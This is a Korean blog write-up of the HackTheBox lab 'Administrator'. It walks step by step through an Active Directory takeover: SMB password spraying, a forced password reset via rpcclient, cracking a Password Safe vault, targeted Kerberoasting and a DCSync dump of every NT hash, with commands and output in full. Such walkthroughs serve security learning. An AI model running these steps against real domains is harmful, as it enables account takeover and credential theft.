상세 컨텐츠

본문 제목

[HackTheBox] Administrator

Penetration/HackTheBox

by obscurity_ 2024. 12. 12. 21:45

본문

이 박스는 Active Directory에서 발생할 수 있는 DACL을 악용하여 공격자가 초기 침투에 성공했을 때 어떤 루트를 사용하여 도메인을 장악할 수 있는지 보여줍니다.

HTB의 다른 Medeum 머신에 비해서 쉬운 편은 없지 않아 많지만,

그래도 초심자들이 생소할 수 있는 DACL에 대해서 잘 다루고 있다고 생각하며

머신 안에서 한 두가지에서 그치는 것이 아니라 다양한 공격 벡터와

창의성이 요구되기 때문에 추천하는 머신입니다.

 

제공된 계정 정보

Olivia : ichliebedich

정보 수집

서버에 열려있는 포트는 다음과 같습니다.

21/tcp    open  ftp
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown

이 머신은 이미 침해당했다고 가정하고, 유효한 사용자 Olivia 계정을

지급해줍니다.

따라서 우리가 사용 가능한 최대한의 공격 방법론을 사용하여

Olivia의 낮은 도메인 권한 사용자에서 도메인 장악을 합니다.

저는 스캔된 포트 중에서 순차적으로 진행하는 것을 선호하기 때문에

스캔된 포트 순서에 맞게 방법론을 사용해보겠습니다.

 

FTP - 21

FTP에는 현재 익명 바인딩은 허용되어 있지 않습니다.

다만 Olivia 계정 정보가 존재하므로 이 계정의 정보를 이용해서

FTP 서비스에 어떤 파일이 있는지 살펴봅니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# ftp 10.10.11.42
Connected to 10.10.11.42.
220 Microsoft FTP Service
Name (10.10.11.42:root): olivia
331 Password required
Password: 
530 User cannot log in, home directory inaccessible.
ftp: Login failed

하지만 Olivia 계정으로는 FTP 서버에 접근할 권한이 없다고 하네요

별다른 소득은 없었습니다.

DNS - 53

dig를 통해 DNS 스캐닝을 하면서 다른 도메인이 있는지 검색합니다.

또한 zone 구역에 신호를 보내서 접근이 가능한지 테스트 해봅니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# dig @10.10.11.42 administrator.htb
...
;administrator.htb.             IN      A
...
administrator.htb.      600     IN      A       10.10.11.42
...

                                                                                                                                                                                 
┌──(root㉿kali)-[~/Pentest/Machine]
└─# dig axfr @10.10.11.42 administrator.htb

; <<>> DiG 9.20.0-Debian <<>> axfr @10.10.11.42 administrator.htb
; (1 server found)
;; global options: +cmd
; Transfer failed.

nmap 포트 스캔에서 발견했던 administrator.htb 외에는

다른 도메인은 발견되지 않았고 zone 역시 접근 불가능했습니다.

139/445 - SMB

88번 포트인 Kerberos는 유저 목록이 있어야 공격 가능하기 때문에

먼저 SMB를 통해서 유저 목록을 수집해줍니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# crackmapexec smb 10.10.11.42 -u olivia -p ichliebedich --users                                         
SMB         10.10.11.42     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.42     445    DC               [+] administrator.htb\olivia:ichliebedich 
SMB         10.10.11.42     445    DC               [+] Enumerated domain user(s)
SMB         10.10.11.42     445    DC               administrator.htb\emma                           badpwdcount: 2 desc: 
SMB         10.10.11.42     445    DC               administrator.htb\alexander                      badpwdcount: 4 desc: 
SMB         10.10.11.42     445    DC               administrator.htb\ethan                          badpwdcount: 2 desc: 
SMB         10.10.11.42     445    DC               administrator.htb\emily                          badpwdcount: 0 desc: 
SMB         10.10.11.42     445    DC               administrator.htb\benjamin                       badpwdcount: 0 desc: 
SMB         10.10.11.42     445    DC               administrator.htb\michael                        badpwdcount: 0 desc: 
SMB         10.10.11.42     445    DC               administrator.htb\olivia                         badpwdcount: 0 desc: 
SMB         10.10.11.42     445    DC               administrator.htb\krbtgt                         badpwdcount: 2 desc: Key Distribution Center Service Account
SMB         10.10.11.42     445    DC               administrator.htb\Guest                          badpwdcount: 1 desc: Built-in account for guest access to the computer/domain
SMB         10.10.11.42     445    DC               administrator.htb\Administrator                  badpwdcount: 2 desc: Built-in account for administering the computer/domain
 

crackmapexec를 사용해서 SMB 접속을 통한 도메인 유저 목록을 가져옵니다.

유저 목록을 확인했으니 SMB 포트에서 할 수 있는 것은

패스워드 스프레이 공격과 쉐어 목록 확인입니다.

패스워드를 공백으로 주고 Password must change 계정이 있는지와

아이디:패스워드를 동일하게 주고 스프레이 공격을 해봤는데

아이디:패스워드가 동일한 계정인 michael 계정이 발견되었습니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# crackmapexec smb 10.10.11.42 -u DomainUsers.txt -p DomainUsers.txt --continue-on-success --no-bruteforce
SMB         10.10.11.42     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.42     445    DC               [-] administrator.htb\Administrator:Administrator STATUS_LOGON_FAILURE 
SMB         10.10.11.42     445    DC               [-] administrator.htb\Guest:Guest STATUS_LOGON_FAILURE 
SMB         10.10.11.42     445    DC               [-] administrator.htb\krbtgt:krbtgt STATUS_LOGON_FAILURE 
SMB         10.10.11.42     445    DC               [-] administrator.htb\olivia:olivia STATUS_LOGON_FAILURE 
SMB         10.10.11.42     445    DC               [+] administrator.htb\michael:michael 
SMB         10.10.11.42     445    DC               [-] administrator.htb\benjamin:benjamin STATUS_LOGON_FAILURE 
SMB         10.10.11.42     445    DC               [-] administrator.htb\emily:emily STATUS_LOGON_FAILURE 
SMB         10.10.11.42     445    DC               [-] administrator.htb\ethan:ethan STATUS_LOGON_FAILURE 
SMB         10.10.11.42     445    DC               [-] administrator.htb\alexander:alexander STATUS_LOGON_FAILURE 
SMB         10.10.11.42     445    DC               [-] administrator.htb\emma:emma STATUS_LOGON_FAILURE

그리고 쉐어 목록에서는 별다른 쉐어는 발견되지 않았습니다.

88 - Kerberos

SMB를 통해서 유저 목록을 확보했으니

커버로스 프로토콜에 대한 방법론도 적용을 해봐야겠죠.

olivia 계정으로 커버로스팅 가능한 SPN을 찾고,

AS-REP-Roasting 공격에 취약한 계정도 스캔을 합니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# impacket-GetNPUsers 10.10.11.42/'' -usersfile DomainUsers.txt 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
[-] Kerberos SessionError: KDC_ERR_WRONG_REALM(Reserved for future use)
...
[-] Kerberos SessionError: KDC_ERR_WRONG_REALM(Reserved for future use)
                                                                                                                                                                                 
┌──(root㉿kali)-[~/Pentest/Machine]
└─# crackmapexec ldap 10.10.11.42 -u olivia -p ichliebedich --kerberoasting kerberoasing.txt
SMB         10.10.11.42     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.42     389    DC               [+] administrator.htb\olivia:ichliebedich 
LDAP        10.10.11.42     389    DC               No entries found!

하지만 이 프로토콜에서 취약한 것은 발견되지 않았습니다.

389/636 - LDAP

계정 정보가 있으니 유효한 계정을 통한 LDAP 정보수집을 할 차례입니다.

ldapsearch -H ldap://10.10.11.42/ -b 'dc=administrator,dc=htb' -D 'olivia@administrator.htb' -w ichliebedich -s sub | grep -i pass

pass, pwd 등과 같은 텍스트를 그랩해보아도 발견되지는 않습니다.

이제 AD 권한 상승이 있는지 확인할 차례입니다.

AD Privilege Escalation

Olivia 계정으로 SMB를 통해 도메인 계정 정보를 얻은 후

패스워드 스프레잉 공격으로 알아냈던 michael 계정은

benjamin 계정에 대해서 ForceChangePassword 권한이 있습니다.

이 권한이 있으면 benjamin 계정의 패스워드를 임의로 변경 가능합니다.

실무라면 해서는 안 되겠지만 CTF니 마음 편하게 변경을 해줍니다.

변경 방법으로는 여러가지가 있지만

전 msrpc를 이용해서 변경해보도록 하겠습니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# rpcclient -U michael 10.10.11.42
Password for [WORKGROUP\michael]:
rpcclient $> setuserinfo2 benjamin 23 password123!
rpcclient $> exit
                                                                                                                                                                                                                                                                                                                 
┌──(root㉿kali)-[~/Pentest/Machine]
└─# nxc smb 10.10.11.42 -u benjamin -p password123!
SMB         10.10.11.42     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.42     445    DC               [+] administrator.htb\benjamin:password123!

이로써 벤자인 계정의 패스워드를 password123!으로 변경했습니다.

벤자민 계정은 도메인 내의 Share Moderators 그룹에 속해있습니다.

아마도 파일 공유에 관한 관리자인 것으로 추측이 됩니다.

그러면 아까전에 접속이 불가능하던 FTP에 접속이 되지 않을까요?

┌──(root㉿kali)-[~/Pentest/Machine]
└─# ftp 10.10.11.42
Connected to 10.10.11.42.
220 Microsoft FTP Service
Name (10.10.11.42:root): benjamin
331 Password required
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||57560|)
125 Data connection already open; Transfer starting.
10-05-24  08:13AM                  952 Backup.psafe3

FTP에 접속해서 Backup.psafe3이라는 파일을 획득할 수 있습니다.

psafe3은 password safe 파일로, keepassword와 같이

패스워드를 안전하게 보관할 수 있는 데이터베이스입니다.

kee password처럼 접속시 패스워드를 입력해야 하는데,

이 해쉬 값을 추출해서 크래킹할 수 있기 때문에 취약할 수 있죠

pwsafe2john을 사용해서 해쉬를 덤핑합니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# pwsafe2john Backup.psafe3                            
Backu:$pwsafe$*3*dd6ffff22106b2a3153d37fe6d67e591b61d6cf71c8eadefa690da0bfd8ebbc9*2048*e8fa9af0c8ebd3f4fa24ade2fa66f35d3261a0eaec901120c0d907485fb7b169

그리고 이제 이 값을 크래킹 해야겠죠

존더리퍼를 사용해줬습니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (pwsafe, Password Safe [SHA256 256/256 AVX2 8x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tekieromucho     (Backu)     
1g 0:00:00:00 DONE (2024-12-12 16:15) 1.694g/s 27769p/s 27769c/s 27769C/s 1GR8t@$$4u..cowgirlup
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

패스워드는 tekieromucho 으로 확인됩니다.

pwsafe 명령을 통해서 이 파일을 실행할 수 있습니다.

없으신 분들이라면 apt install로 설치 가능할거예요

보이는 곳을 더블 클릭시 자동으로 패스워드가 복사됩니다.

alexander : UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
emily : UXLCI5iETUsIBoFVTj8yQFKoHjXmb
emma : WwANQWnmJnGV07WQN8bMS7FMAbjNur

위처럼 세가지 계정정보를 획득했지만

실제로 유효한 계정은 emily 하나 뿐입니다.

Emily 계정은 Ethan 계정에 대해서 GenericWrite 권한이 있네요

이 권한을 사용자 계정에 가지고 있을 때는

Shadow Credential 공격과 Targeted Kerberoasting 공격이 됩니다.

근데 Shadow Credential 같은 경우는 대상 도메인에서

pkinit 인증을 사용해야지 가능한데, 해당 도메인에서는 지원하지 않아서

강제적으로 ethan 계정으로 SPN을 생성하고 서비스 티켓을 발급받아서

해쉬 크래킹을 해줘야 합니다.

┌──(root㉿kali)-[~/Pentest/Scripts]
└─# python3 targetedKerberoast.py -v -d administrator.htb -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' --request-user ethan --only-abuse
[*] Starting kerberoast attacks
[*] Attacking user (ethan)
[VERBOSE] SPN added successfully for (ethan)
[+] Printing hash for (ethan)
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$12485e772e661fe85c081d7afb39a073$8b22534fc327f5eca1acc0eb47ee41f428ac10333922be9cccfe0dbec4e286ab61b2f31555bc88e76b08faca67a3787c5d800bfeb5e61aaea69a2895a82bd1a21b75aceb854baac4b2aa062266473c3573d4339c247bca826b714f1f77cbfe6f7ff5ff69633ad48b6c5dc63020dd3ce4341b8a723381ed1150bdf967e7c6dda310ef43cd34fc58923a9d337751af7f25ba2cf648486c125bcc21af76d471748092899e2fd442010331f6124c135ad32b6b7444bbda3ea00bf34124987b3ea5bff7ea099697c8607ed2bea9454b86748ddbd8f66e916b441e3bf87830bbd1c6fad8ca9877935ec7c3dd6da1f79b608090702a8699720719e7fe71d16d959b90393d71db690b82d3806bdc84af3b5c6d6a2add8181c46277dcdde6c5dcf5e4cfa3210c5e2614e69f0142219cd964cc2c08c13e3c7cca832d79edab751dba31eee0101a380d4d3ac9d7cb105a16c1be73f6ad4d9dad21742faaed0b721466f1d5fa33c05f5daeda640f44ac58ef655befa6b1700832a483922585ad47b5dfa21a0e0b48c399a5efe156476b69036503ad1ad161c25ac9e6b2b9e9abc26adcbb95b7e6c2dbe86ed0d1483c5b9f90db59922fed264b47839428031fb9659404d45ad7a407fc5d075a6a4201e1b16586663dbaa8704eb8bd623ab9a5f23ac154c55b37de7b0ca094673429d461ebc66183d94f7c1e75c28ec5cff579edc22ba015b67ba635f5628db120b6d08b4ab4578b7ef551a1c4d103ecf741f3ab0c2164391828db04c01eefddfda3607e67b8ca0626ca8668119de50ce24bc02fdfd7fa1611dcab6be482d4a9d631b1360ccc4dc56b98513215240e5d6682a3b9a245156b32652d24689ad2385fb00db1fcd9d45261a02e720ba178fc5e132655be8d56577e768cd8e3e3320c66077b8d3ef4fe48e209c933e10aa66a26e968d7293f9c575dd0b7c412a21db112a6107c72de95f6912489428e435e5196a26f4d9fc2698b3b8c2b4798a9222f3792e6f755ee10059e5da81d1fc989e342cc8e88e9e82e6a1173936da3aed138e11bca063c4af12e7090d781e80293cb5088768fcf9960d23b7c968c5cc126b88ce934fb51de79bd30861e3fab26a451bcd1d4ecb2bde160974d1e480bd83a820a443e2da7650cf5b5e6c812525ebceb1998087b7dc13703324557eb8587f760129f0b05c9c1f1c5457d08483dd81498a2cda82f85c79c61ad99164b047db46c60c7d36b65874c92b61a8edd0bfbb2b12c62e1132c9a2cb373853e55a28a930ae82448102b4893d68c34fcffe4ab0581fcccacfd2bccd2967e9ff6dc273c0716de63c796f5cddda15e474884b64ff8ce6e364a09808d78a91fe4895b465e3c04e0dc8ec76724377c19feae74dd0e89cf22c478a07399e3eee880c99aa03d84878bfd9dbc570544e702ea02aa9692935e8ad0945d26f0f46e0a29ee56dbad92401b383524b9ff767f389b16d21b6d39ad8d65e03816d7e2904e05c08d4d4299aff21ac0cd02122bcbb0a14804fb757162f80a7f94e0e6807b66
[VERBOSE] SPN removed successfully for (ethan)

 

이렇게 ethan 계정의 해쉬값을 훔쳐내는데 성공합니다.

이제 이 패스워드가 해쉬 크래킹에 성공하기를 바라야죠

┌──(root㉿kali)-[~/Pentest/Scripts]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash             
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
limpbizkit       (?)     
1g 0:00:00:00 DONE (2024-12-12 19:22) 14.28g/s 117028p/s 117028c/s 117028C/s oooooo..whitey
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

다행히 ethan의 패스워드는 rockyou.txt에 포함되어 있었습니다.

마지막으로 ethan은 도메인에 대해 DCSync 권한이 있기 때문에

이 권한을 이용해서 도메인의 모든 사용자 NT Hash를 덤핑해줍니다.

┌──(root㉿kali)-[~/Pentest/Scripts]
└─# crackmapexec smb 10.10.11.42 -u ethan -p limpbizkit --ntds                                             
SMB         10.10.11.42     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.42     445    DC               [+] administrator.htb\ethan:limpbizkit 
SMB         10.10.11.42     445    DC               [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
SMB         10.10.11.42     445    DC               [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         10.10.11.42     445    DC               Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
SMB         10.10.11.42     445    DC               Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.10.11.42     445    DC               krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6:::
SMB         10.10.11.42     445    DC               administrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::
SMB         10.10.11.42     445    DC               administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:bb53a477af18526ada697ce2e51f76b3:::
SMB         10.10.11.42     445    DC               administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:8119935c5f7fa5f57135620c8073aaca:::
SMB         10.10.11.42     445    DC               administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31:::
SMB         10.10.11.42     445    DC               administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884:::
SMB         10.10.11.42     445    DC               administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199:::
SMB         10.10.11.42     445    DC               administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9:::
SMB         10.10.11.42     445    DC               DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3:::
SMB         10.10.11.42     445    DC               [+] Dumped 11 NTDS hashes to /root/.cme/logs/DC_10.10.11.42_2024-12-12_192330.ntds of which 10 were added to the database

핵더박스의 미디움 레벨 치고는.. 상당히 쉬운 편이라고 할 수 있네요

하지만 그럼에도 난이도를 위해서 억지로 사용되지도 않는

프로토콜이나 서비스를 끼워넣는 것보단.. 훨씬 의미가 있다 느껴집니다.

'Penetration > HackTheBox' 카테고리의 다른 글

[HackTheBox] Resolute  (2) 2024.11.03
[HackTheBox] Blackfield  (1) 2024.10.30
[HackTheBox] Search  (1) 2024.10.30
[HackTheBox] Active  (0) 2024.10.29
[HackTheBox] Sauna  (1) 2024.10.29

관련글 더보기